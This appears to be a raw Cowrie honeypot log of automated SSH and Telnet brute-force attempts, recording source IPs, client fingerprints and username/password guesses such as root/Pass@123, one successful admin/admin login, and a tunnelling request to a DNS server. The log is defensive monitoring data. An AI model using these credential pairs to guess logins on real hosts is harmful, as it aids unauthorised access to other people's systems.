{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:43.125079Z","src_ip":"193.151.144.93","session":"7ad325f432ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:43.633343Z","src_ip":"193.151.144.93","session":"7ad325f432ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:44.805043Z","src_ip":"193.151.144.93","session":"7ad325f432ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37482,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae844c16a043","protocol":"ssh","message":"New connection: 176.32.39.21:37482 (10.17.0.5:22) [session: ae844c16a043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.059667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.069302Z","src_ip":"176.32.39.21","session":"ae844c16a043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.181434Z","src_ip":"176.32.39.21","session":"ae844c16a043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35410,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1df6b4f79a2","protocol":"ssh","message":"New connection: 193.151.144.93:35410 (10.17.0.5:22) [session: c1df6b4f79a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.474957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.479852Z","src_ip":"193.151.144.93","session":"c1df6b4f79a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123321q","message":"login attempt [root/q123321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.650766Z","src_ip":"176.32.39.21","session":"ae844c16a043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:48.656341Z","src_ip":"193.151.144.93","session":"c1df6b4f79a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:49.175353Z","src_ip":"193.151.144.93","session":"c1df6b4f79a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:49.773918Z","src_ip":"176.32.39.21","session":"ae844c16a043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:50.788907Z","src_ip":"193.151.144.93","session":"c1df6b4f79a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55332,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71469ff465d","protocol":"ssh","message":"New connection: 193.151.144.93:55332 (10.17.0.5:22) [session: a71469ff465d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:53.801749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:53.807648Z","src_ip":"193.151.144.93","session":"a71469ff465d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:53.982199Z","src_ip":"193.151.144.93","session":"a71469ff465d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:54.494946Z","src_ip":"193.151.144.93","session":"a71469ff465d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:56.577267Z","src_ip":"193.151.144.93","session":"a71469ff465d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88487386703491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:57.165334Z","src_ip":"69.4.83.194","session":"b3c2b9a3994e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"9885185d866e","protocol":"ssh","message":"New connection: 193.151.144.93:55336 (10.17.0.5:22) [session: 9885185d866e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:59.318248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:59.322794Z","src_ip":"193.151.144.93","session":"9885185d866e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:50:59.499190Z","src_ip":"193.151.144.93","session":"9885185d866e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:00.035995Z","src_ip":"193.151.144.93","session":"9885185d866e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:01.215141Z","src_ip":"193.151.144.93","session":"9885185d866e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.207.109.135","src_port":57876,"dst_ip":"159.203.135.109","dst_port":23,"session":"c382be33d58f","protocol":"telnet","message":"New connection: 116.207.109.135:57876 (159.203.135.109:23) [session: c382be33d58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:04.010362Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37334,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f7bdd8e3e8","protocol":"ssh","message":"New connection: 193.151.144.93:37334 (10.17.0.5:22) [session: f9f7bdd8e3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:04.889881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:04.895125Z","src_ip":"193.151.144.93","session":"f9f7bdd8e3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:05.066486Z","src_ip":"193.151.144.93","session":"f9f7bdd8e3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:05.576766Z","src_ip":"193.151.144.93","session":"f9f7bdd8e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48984,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d780e9ff1fc","protocol":"telnet","message":"New connection: 69.4.83.194:48984 (159.203.135.109:23) [session: 2d780e9ff1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:06.862541Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:07.173565Z","src_ip":"193.151.144.93","session":"f9f7bdd8e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39788,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3f12ac2fed","protocol":"ssh","message":"New connection: 87.251.64.176:39788 (10.17.0.5:22) [session: 3c3f12ac2fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.245899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.250761Z","src_ip":"87.251.64.176","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.347020Z","src_ip":"87.251.64.176","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41620,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4f544799c0c","protocol":"ssh","message":"New connection: 193.151.144.93:41620 (10.17.0.5:22) [session: b4f544799c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.363424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.410021Z","src_ip":"193.151.144.93","session":"b4f544799c0c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.631854Z","src_ip":"87.251.64.176","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.657682Z","src_ip":"193.151.144.93","session":"b4f544799c0c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.729604Z","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:10.827848Z","src_ip":"87.251.64.176","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:11.061576Z","src_ip":"87.251.64.176","session":"3c3f12ac2fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:11.188400Z","src_ip":"193.151.144.93","session":"b4f544799c0c","protocol":"ssh"}
